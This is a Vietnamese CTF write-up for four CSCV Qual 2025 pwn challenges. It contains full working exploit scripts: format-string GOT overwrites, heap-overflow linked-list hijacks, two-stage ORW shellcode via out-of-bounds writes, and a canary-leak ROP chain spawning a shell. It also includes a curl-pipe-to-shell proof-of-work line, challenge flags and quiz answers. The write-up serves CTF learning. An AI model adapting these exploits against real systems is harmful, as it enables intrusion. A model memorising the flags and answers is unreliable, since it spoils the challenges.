Logo ✧ Alter ✧
[WRITE UP] - CSCV Qual 2025

[WRITE UP] - CSCV Qual 2025

October 21, 2025
13 min read
Table of Contents
index

RacehorseS

Một bài Format String Bug khá chán và đơn giản, nên mình sẽ không nói nhiều ở đây (mình nghĩ mỗi exploit thôi là đã đủ để hiểu concept của bài này):

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
exe = context.binary = ELF('./horse_say', checksec=False)
libc = exe.libc
gdbscript = '''
init-pwndbg
# init-gef-bata
c
'''
def start(argv=[]):
if args.LOCAL:
p = exe.process()
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
pause()
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p
# ==================== EXPLOIT ====================
p = start()
if args.REMOTE:
token = None
try:
buf = b""
for _ in range(30):
line = p.recvline(timeout=1) or b""
buf += line
m = re.search(rb"(s\.[A-Za-z0-9+/=.-]+)", buf)
if m:
token = m.group(1).decode()
break
except EOFError:
pass
if token:
sol = subprocess.check_output(
["bash", "-lc", f"curl -sSfL https://pwn.red/pow | sh -s {token}"],
text=True
).strip()
p.sendline(sol.encode())
main = exe.sym.main
main_high = (main << 8) & 0xFF
main_low = main & 0xFF
pl = f"%{(main % 0xffff) -64}c%15$hn".encode()
pl += b"|%143$p|"
pl = pl.ljust(24, b"\x00")
pl += p64(exe.got.exit)
sl(pl)
ru(b"|")
libc.address = int(ru(b"|")[:-1], 16) - 0x2A1CA
ow_addr = exe.got.strlen
gadget = libc.sym.system
package = {
gadget & 0xFFFF: ow_addr,
gadget >> 16 & 0xFFFF: ow_addr + 2,
gadget >> 32 & 0xFFFF: ow_addr + 4,
}
order = sorted(package)
payload = f"%{order[0]}c%20$hn".encode()
payload += f"%{order[1] - order[0]}c%21$hn".encode()
payload += f"%{order[2] - order[1]}c%22$hn".encode()
payload = payload.ljust(64, b"\x00")
payload += flat(
package[order[0]],
package[order[1]],
package[order[2]],
)
sl(payload)
sl(b"/bin/sh\x00")
interactive()
# CSCV2025{k1m1_n0_4184_64_2ukyun_d0kyun_h45h1r1d35h1}

Heap NoteS

Bug

struct note
{
uint32_t index;
struct note *next;
char *data;
};
void write_note()
{
int index; // [rsp+Ch] [rbp-14h] BYREF
note *i; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( g_note )
{
index = 0;
printf("Index: ");
__isoc99_scanf("%u%*c", &index);
for ( i = g_note; i->index != index; i = i->next )
{
if ( !i->next )
return;
}
gets(&i->data); // Heap Overflow
}
}

Ý tưởng

Như ta đã thấy, bug ở đây là Heap Overflow do hàm gets nhận input mà không kiểm tra số lượng đầu vào từ đó nếu ta tạo ra 3 chunks chẳn hạn, thì nếu ta edit chunk 0, ta có thể thay đổi được indexnext của các chunk sau vì vốn đây là một Linked List cơ bản. Như vậy ý tưởng của mình sẽ là:

  • Vì PIE tắt, nên địa chỉ binary sẽ là địa chỉ static, dựa vào khả năng thay đổi indexnext, ta sẽ thay đổi next của chunk 1 thành __stack_chk_fail khi đó nếu ta nhập index là giá trị 0x401040 nó sẽ tìm đến đây và data pointer của nó sẽ trỏ vào printf, nhưng khó chịu ở chỗ printf lúc này có NULL byte ở cuối nên để leak được thì cứ cho next+1 sau khi leak rồi cộng null byte vào

    image

  • Leak thì mọi thứ trở nên đơn giản hơn, tận dụng việc có pointer data đang trỏ vào printf mình sẽ chọn cách overwrite chỗ này luôn vì GOT write được, write gets@GOT trỏ vào system, và sau đó cho nó edit chunk có chứa chuỗi /bin/sh\x00 để spawn shell

Exploit

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from time import sleep
from subprocess import check_output
exe = context.binary = ELF('./challenge_patched', checksec=False)
libc = exe.libc
gdbscript = '''
init-pwndbg
# init-gef-bata
b *0x4012FA
b *0x401296
b *0x40148E
b *0x4013C9
c
'''
def start(argv=[]):
if args.LOCAL:
p = exe.process()
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
pause()
if args.DOCKER:
p = remote('0', 1337)
if args.GDB:
pid = int(check_output(['pidof', '-f', '/pwn/challenge']))
gdb.attach(pid, gdbscript=gdbscript, exe=exe.path)
pause()
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p
def menu(choice: int):
slna(b'> ', choice)
idx = 0
def create():
menu(1)
ru(b'Note with index ')
return ru(b' created', drop=True)
def write(idx: int, content: bytes):
menu(3)
slna(b'Index: ', idx)
sl(content)
def read(idx: int):
menu(2)
slna(b'Index: ', idx)
# ==================== EXPLOIT ====================
p = start()
# gnote -> 0 -> 1 -> 2 -> 3 -> NULL
create()
create()
create()
create()
write(0, p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0x404008+0x1))
read(0x5000000000004010)
leak = u64((b'\x00' + rb(5)).ljust(8, b'\x00'))
slog('leak @ %#x', leak)
# ld_base = leak - 0x152f0
# slog('ld base @ %#x', ld_base)
libc.address = leak - libc.sym.printf
slog('libc base @ %#x', libc.address)
write(0, p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0x404008))
info('system @ %#x', libc.sym.system)
slna(b'> ', 3)
slna(b'Index: ', 0)
sl(p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0x404008))
write(1, b'/bin/sh\x00')
slna(b'> ', 3)
slna(b'Index: ', 4198464)
sl(p64(libc.sym.printf) + p64(libc.sym.system) + p64(libc.sym.malloc) + p64(libc.sym.__isoc99_scanf))
# write(0, p64(0) * 5 + p64(0x41) + p64(0x1) + p64(0xdeadbeef))
# write(4210184, p64(leak) + p64(libc.sym.system))
slna(b'> ', 3)
slna(b'Index: ', 1)
interactive()
# CSCV2025{313487590c9dbf64bdd49d7e76980965}

SudokuS

Phân tích

__int64 start_game()
{
unsigned __int8 num; // [rsp+Dh] [rbp-23h] BYREF
unsigned __int8 col; // [rsp+Eh] [rbp-22h] BYREF
unsigned __int8 row; // [rsp+Fh] [rbp-21h] BYREF
char buf[28]; // [rsp+10h] [rbp-20h] BYREF
int v5; // [rsp+2Ch] [rbp-4h]
num = 0;
printf("What's your name? ");
v5 = read(0, buf, 0x27u);
if ( v5 <= 0 )
{
perror("read failed");
exit(1);
}
buf[v5] = 0;
printf("Welcome %s\n", buf);
initBOARD();
while ( 1 )
{
displayBOARD();
if ( (unsigned __int8)isComplete() )
{
puts("Congratulations!");
return 0;
}
printf("> ");
v5 = __isoc99_scanf("%hhu %hhu %hhu", &row, &col, &num);
if ( v5 <= 0 )
{
perror("scanf failed");
exit(1);
}
if ( !row && !col && !num )
break;
if ( canEdit(--row, --col) && (unsigned __int8)isValid(row, col, num) == 1 )
BOARD[9 * row + col] = num;
else
puts("Invalid input!");
}
puts("Bye!");
return 0;
}

Ở đây có 2 bug:

  • Đầu tiên là bug overflow khi chương trình read name
  • Tiếp theo sẽ là bug Out-of-Bound Write

Kiểm tra thêm thì thấy BOARD là một vùng rwx

img

Dễ dàng thấy idea sẽ là dùng OOB Write để ghi shellcode và pivot về shellcode đó. Và do challenge này có thêm cả seccomp, nên ta chỉ có thể dùng được shellcode ORW (Open-Read-Write). Kiểm tra một chút về hàm isValid

__int64 __fastcall isValid(unsigned __int8 row, unsigned __int8 i, unsigned __int8 num)
{
signed int n; // [rsp+1Ch] [rbp-10h]
signed int m; // [rsp+20h] [rbp-Ch]
int k; // [rsp+24h] [rbp-8h]
int j; // [rsp+28h] [rbp-4h]
for ( j = 0; j <= 8; ++j )
{
if ( BOARD[9 * row + j] == num && j != i )
return 0;
}
for ( k = 0; k <= 8; ++k )
{
if ( BOARD[9 * k + i] == num && k != row )
return 0;
}
for ( m = 3 * (row / 3u); m <= (int)(3 * (row / 3u) + 2); ++m )
{
for ( n = 3 * (i / 3u); n <= (int)(3 * (i / 3u) + 2); ++n )
{
if ( BOARD[9 * m + n] == num && (m != row || n != i) )
return 0;
}
}
return 1;
}

Hàm isValid(row, i, num) xác thực một nước đi Sudoku bằng ba bước: (1) kiểm tra theo hàng: duyệt j = 0..8, nếu bất kỳ ô nào trên cùng hàng row có giá trị bằng num và khác cột i (j != i) thì trả về 0; (2) kiểm tra theo cột: duyệt k = 0..8, nếu ô nào trên cùng cột i có giá trị bằng num và khác hàng row (k != row) thì trả về 0; (3) kiểm tra trong ô 3×3: tính góc trên-trái của block bằng rs = (row/3)*3, cs = (i/3)*3, rồi duyệtm = rs..rs+2, n = cs..cs+2, nếu BOARD[9*m + n] == num và vị trí đó khác chính ô đang xét (m != row || n != i) thì trả về 0; nếu không phát hiện trùng ở cả ba kiểm tra, hàm trả về 1, tức cho phép đặt num vào BOARD[9*row + i]. Tóm lại: Nó kiểm tra xem số num có trùng trong cùng hàng, cùng cột, hoặc ô 3×3 chứa ô (row, col) (bỏ qua chính ô đó) hay không; trùng ⇒ không hợp lệ, không trùng ⇒ hợp lệ.

Idea

  • Overwrite saved RBP
  • Write 2-stages shellcode

Note: Ban đầu mình làm mình viết hẳn một shellcode to luôn rồi cho nó chạy, vui vì nó hoạt động ở LOCAL và buồn vì lên REMOTE nó lại toạc, mình đã tốn khá nhiều thời gian để tìm xem tại sao và cuối cùng thì đã thử 2-stages shellcode và thành công… Mình nghĩ sẽ đỡ tốn thời gian hơn nếu challenge này kèm theo Dockerfile

Exploit

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from time import sleep
from collections import defaultdict
exe = context.binary = ELF('./sudoshell', checksec=False)
libc = exe.libc
gdbscript = '''
init-pwndbg
# init-gef-bata
b *0x401B4A
b *0x401CE9
b *0x401CF5
c
'''
def start(argv=[]):
if args.LOCAL:
p = exe.process()
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
pause()
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p
# ==================== EXPLOIT ====================
p = start()
used_row_values = defaultdict(set) # key: absolute row
used_col_values = defaultdict(set) # key: absolute col
used_blk_values = defaultdict(set) # key: (row//3, col//3)
def _candidates(addr, byte):
delta = addr - 0x4040e0
row, col = divmod(delta, 9)
yield row, col
families = (
(
min(row, (254 - col) // 9),
min(col // 9, 254 - row),
lambda step: (row - step, col + 9 * step),
),
(
min(row // 9, (254 - col) // 81),
min(col // 81, (254 - row) // 9),
lambda step: (row - 9 * step, col + 81 * step),
),
)
for pos, neg, mapper in families:
limit = max(pos, neg)
for s in range(1, limit + 1):
for step in (s, -s):
if step > pos or -step > neg:
continue
yield mapper(step)
def _fits_sudoku(byte, row, col):
blk = (row // 3, col // 3)
return all(
byte not in container
for container in (used_row_values[row], used_col_values[col], used_blk_values[blk])
)
def _mark_used(byte, row, col):
blk = (row // 3, col // 3)
for container in (used_row_values[row], used_col_values[col], used_blk_values[blk]):
container.add(byte)
def try_write(addr, byte):
print(f"addr {hex(addr)} - {hex(byte)}")
for row, col in _candidates(addr, byte):
if not (0 <= row <= 254 and 0 <= col <= 254):
continue
if not _fits_sudoku(byte, row, col):
continue
p.sendline(f"{row + 1} {col + 1} {byte} ".encode())
if b'Invalid input!' in p.recvuntil(b'> ', drop=False):
continue
_mark_used(byte, row, col)
return True
return False
def arb_write(addr, val):
while val:
byte = val & 0xff
val >>= 8
if byte and not try_write(addr, byte):
raise RuntimeError(f"Failed to place byte {hex(byte)} at {hex(addr)}")
addr += 1
return b''
sla(b'>', b'1')
pivot = 0x404600
sa(b'name?', b'A'*0x20 + p64(pivot)[:-1])
# sla(b'>', arb_write(0x4041a0, 0xFFFFFFAA))
# Stage1: leak GOT then read stage2 and jump to it
shellcode = asm('''
endbr64
mov rsi, 0x4041b0
mov edi, 1
mov edx, 0x40
mov eax, 1
syscall
xor edi, edi
mov rsi, 0x404700
mov edx, 0x400
xor eax, eax
syscall
jmp rsi
''', arch='amd64')
# print(len(shellcode))
# print(shellcode)
# Set return target to shellcode (@ pivot+0x10)
arb_write(pivot + 8, pivot + 0x10)
base = pivot + 0x10
for i in shellcode:
if i != 0:
if not try_write(base, i):
raise RuntimeError(f"Failed to place shellcode byte {hex(i)} at {hex(base)}")
base += 1
try_write(0x40461c, 0x01) # mov edi, 1
try_write(0x40462a, 0x0f) # syscall
try_write(0x40462b, 0x05)
try_write(0x40463c, 0x0f)
try_write(0x40463d, 0x05)
sla(b'>', b'0 0 0')
stage2 = asm('''
endbr64
mov rbx, 0x67616c662f
push rbx
mov rdi, rsp
xor esi, esi
xor edx, edx
mov eax, 2
syscall
mov edi, eax
lea rsi, [rsp]
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
lea rsi, [rsp]
mov edi, 1
mov eax, 1
nop
syscall
xor edi, edi
mov eax, 60
syscall
''', arch='amd64')
p.send(stage2)
interactive()
# CSCV2025{Y0u_kn0w_h0w_t0_bu1ld_sh4llc03}

Note: trong lúc write shellcode vào thì sẽ bị mất một số byte do cái check kia, nhưng cũng không quá khó khăn để sửa lại các bytecode bị mất nhỉ…?

Hanoi Convention

Lời tâm sự …

Trong thời gian diễn ra giải, do mình đã tốn quá nhiều thời gian để solve pwn 3, nên mình đã không kịp làm bài này. Ban đầu nhìn thì mình đã có ý tưởng ban đầu do bài này các bug nó liên kết với nhau (chắc là điểm hay nhất của bài này), còn lại thì việc tìm và trả lời câu hỏi sẽ khá là phiền…

Some tricks…

Để debug dễ dàng hơn ở LOCAL, mình đã patch file binary, patch ở đoạn trong hàm create để nó gán rank = 5 khi đó mình sẽ không cần chơi game giai đoạn đầu nữa, tiết kiệm được “một chút” thời gian. Mình đã patch thêm một chỗ nữa, đó là trong hàm run_quiz (theo tên mình đặt lúc rev vội) chỗ usleep().

Tiếp theo đây không phải là trick cho lắm nhưng mà vẫn cho mọi người nếu cần file question.json:

[
{
"question": "What guiding principles must investigative powers respect under the Convention?",
"options": [
"1. Necessity, proportionality, legality, and human rights safeguards",
"2. Collect as much data as possible",
"3. Disregard privacy for speed",
"4. Follow only international norms"
],
"correct_option": 1
},
{
"question": "Which article defines 'illegal access' (unauthorized access)?",
"options": [
"1. Article 10 - System interference",
"2. Article 6 - Illegal access (unauthorized access to an ICT system)",
"3. Article 7 - Illegal interception",
"4. Article 12 - Computer-related fraud"
],
"correct_option": 2
},
{
"question": "When transferring electronic evidence across borders, what must be observed?",
"options": [
"1. Chain of custody, integrity, authenticity, and local evidentiary rules",
"2. Free public dissemination online",
"3. Only a summary is enough",
"4. Must translate into all UN languages"
],
"correct_option": 1
},
{
"question": "What is a 'production order' used for?",
"options": [
"1. To compel a person or service provider to produce electronic data or subscriber info lawfully held",
"2. To authorize real-time interception of communications",
"3. To authorize home search",
"4. To seize physical property"
],
"correct_option": 1
},
{
"question": "What conditions apply to real-time collection of content data (interception)?",
"options": [
"1. None — it may be done freely",
"2. Only verbal request by investigator",
"3. Must comply with national law and human rights safeguards",
"4. Always notify the target immediately"
],
"correct_option": 3
},
{
"question": "How does the Convention treat extradition?",
"options": [
"1. Based on existing treaties or reciprocity, following domestic law",
"2. Prohibits extradition in all cases",
"3. Mandates extradition without legal basis",
"4. Only via international courts"
],
"correct_option": 1
},
{
"question": "What is emphasized by the Convention about handling personal data?",
"options": [
"1. Investigative measures must include safeguards and use-limitation",
"2. Broad data collection is preferable",
"3. Privacy is irrelevant",
"4. All states must adopt GDPR"
],
"correct_option": 1
},
{
"question": "Which refusal ground for MLA is valid under the Convention?",
"options": [
"1. If the request would seriously affect sovereignty or security",
"2. If countries are not neighbors",
"3. If the case involves advanced technology",
"4. If there is a time zone difference"
],
"correct_option": 1
},
{
"question": "What is the main purpose of expedited disclosure of traffic data?",
"options": [
"1. To quickly identify routes, origin/destination, and guide jurisdictional decisions",
"2. To obtain message contents",
"3. To block user accounts",
"4. To shut down Internet services"
],
"correct_option": 1
},
{
"question": "Does the Convention apply to traditional crimes committed via ICT means?",
"options": [
"1. Yes, when traditional crimes are executed via ICT systems",
"2. Only new cybercrimes",
"3. Never to traditional crimes",
"4. Only when large financial harm occurs"
],
"correct_option": 1
}
]

Bug

Bài này có tận 3 bugs @@:

  • Buffer Overflow ở hàm edit (điều kiện rank > 5)
  • Format String Bug ở hàm show
  • Buffer Overflow ở hàm run_quiz (điều kiện rank > 19)

Phân tích

Ta có 2 bugs Overflow ở đây, việc đầu tiên mình nghĩ đến đầu tiên là sẽ tìm cách leak. Nhìn vào Overflow ở hàm run_quiz:

if ( rank <= 19 || gScore <= 0x7CF )
{
snprintf(gActivityLog, 0x40u, &format_, (unsigned int)rank, gScore, (unsigned int)(rank - gQuizzesPassed), i);
}
else
{
puts("\nYou have shown deep understanding and are awarded an honorary certificate!");
printf("Write your thoughts: ");
v5 = read(0, buf, 224u);
if ( v5 > 0 )
{
if ( buf[v5 - 1] == 10 )
buf[v5 - 1] = 0;
else
buf[v5] = 0;
printf("Added to log: %s\n", buf);
snprintf(gActivityLog, 0x40u, "You have reached rank %d\nYour thoughts: %s", rank, buf);
}
}
}
}

Overflow ở hàm này có 2 mục đích:

  • Đầu tiên là giúp ta control được trực tiếp gActivityLog
  • Thứ 2 là sau khi ta leak được các thứ thì sẽ dùng nó để get shell

Để có được rank > 19 cũng đơn giản, ta chỉ cần việc chơi quiz để rank > 5 có được Overflow trong hàm edit, từ đó chỉnh được giá trị của rank thành một số cực lớn. Từ đó ta có thể có được leak thông qua Format String, sau đó tiếp tục leak thêm libc và canary nữa là xong

Exploit

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
import re, hashlib, time, sys
exe = context.binary = ELF('./quiz_patched', checksec=False)
# exe = context.binary = ELF('./debug', checksec=False)
libc = exe.libc
gdbscript = '''
init-pwndbg
# init-gef-bata
brva 0x20C7
brva 0x253D
brva 0x2757
c
'''
def start(argv=[]):
if args.LOCAL:
p = exe.process()
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
pause()
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p
def solve_pow():
ban = p.recvuntil(b'Enter your answer', timeout=10)
chal = re.search(rb'Challenge:\s*([0-9a-fA-F]+)', ban).group(1).decode()
m0 = re.search(rb'starts with\s+(\d+)\s+zeros', ban); zeros = int(m0.group(1)) if m0 else 6
m1 = re.search(rb'You have\s+(\d+)\s+seconds', ban); lim = int(m1.group(1)) if m1 else 120
tgt = '0'*zeros; base = chal.encode()
start_t = time.time(); deadline = start_t + lim - 3
n = 0; last = start_t
while True:
s = str(n).encode()
if hashlib.sha256(base + s).hexdigest().startswith(tgt):
slog(f"found nonce={s.decode()} tries={n} hashes={n} time={time.time()-start_t:.2f}s")
sl(s)
return
n += 1
now = time.time()
if now - last >= 0.5:
rate = n/(now-start_t)
info(f"tries={n} hashes={n} rate={rate:.0f}/s elapsed={now-start_t:.1f}s")
last = now
if now > deadline:
raise RuntimeError("PoW timeout")
def menu(choice: int):
slna(b'> ', choice)
def create(name):
menu(1)
sa(b'name: ', name)
def view():
menu(2)
def edit(content):
menu(4)
sla(b"name: ", content)
def run_quiz():
menu(3)
for _ in range(10):
blk = p.recvuntil(b'> ', timeout=10)
m = re.search(rb'1\.\s*(.*?)\r?\n.*?2\.\s*(.*?)\r?\n.*?3\.\s*(.*?)\r?\n.*?4\.\s*(.*?)\r?\n', blk, re.S) # search for options
if not m:
break
idx = max(range(4), key=lambda i: len(m.group(i+1).strip())) + 1 # pick the longest option
sl(str(idx).encode())
# ==================== EXPLOIT ====================
p = start()
if args.REMOTE:
solve_pow()
create(b'Kasero')
if args.REMOTE:
for _ in range(10):
run_quiz()
edit(b'A' * 0x4c + p32(0xffff)) # overwrite rank to > 19 for buff overflow in run_quiz
run_quiz()
# leak pie base and stack address
sla(b'Write your thoughts: ', b'%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p')
view()
ru(b'Your thoughts: ')
ru(b'0x')
ru(b'0x')
stack = int(ru(b'|0x', drop=True), 16)
slog('stack @ %#x', stack)
exe.address = int(ru(b'|', drop=True), 16) - 0x2987
slog('exe base @ %#x', exe.address)
# leak libc base and canary
edit(b'A' * 0x50 + p64(exe.got.puts))
view()
ru(b'Your thoughts: ')
rl()
libc.address = fixleak(rl()[:-1]) - libc.sym.puts
slog('libc base @ %#x', libc.address)
edit(b'A' * 0x50 + p64(stack + 0x98 + 1))
view()
ru(b'Your thoughts: ')
rl()
canary = u64(b'\x00' + rb(7))
slog('canary @ %#x', canary)
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = pop_rdi + 1
leave_ret = exe.address + 0x265E
# rop...
run_quiz()
sla(b'Write your thoughts: ', flat({
0: [
pop_rdi,
next(libc.search(b'/bin/sh\x00')),
libc.sym.system,
],
0xc8: [
canary,
stack - 0x100 - 8,
leave_ret
]
}, filler=b'A'))
interactive()
# CSCV2025{H4n0i_C0nv3nt10n_C0un73r1ng_Cyb3rcR1m3_Sh4r1ng_R3sp0ns1b1l1ty_S3cur1ng_0ur_Futur3}

Nice, lúc mình làm lại thì mình lấy libc của máy mình luôn somehow nó lại đúng… Giá như lúc đó làm nhanh hơn thì khéo team đã được đi final…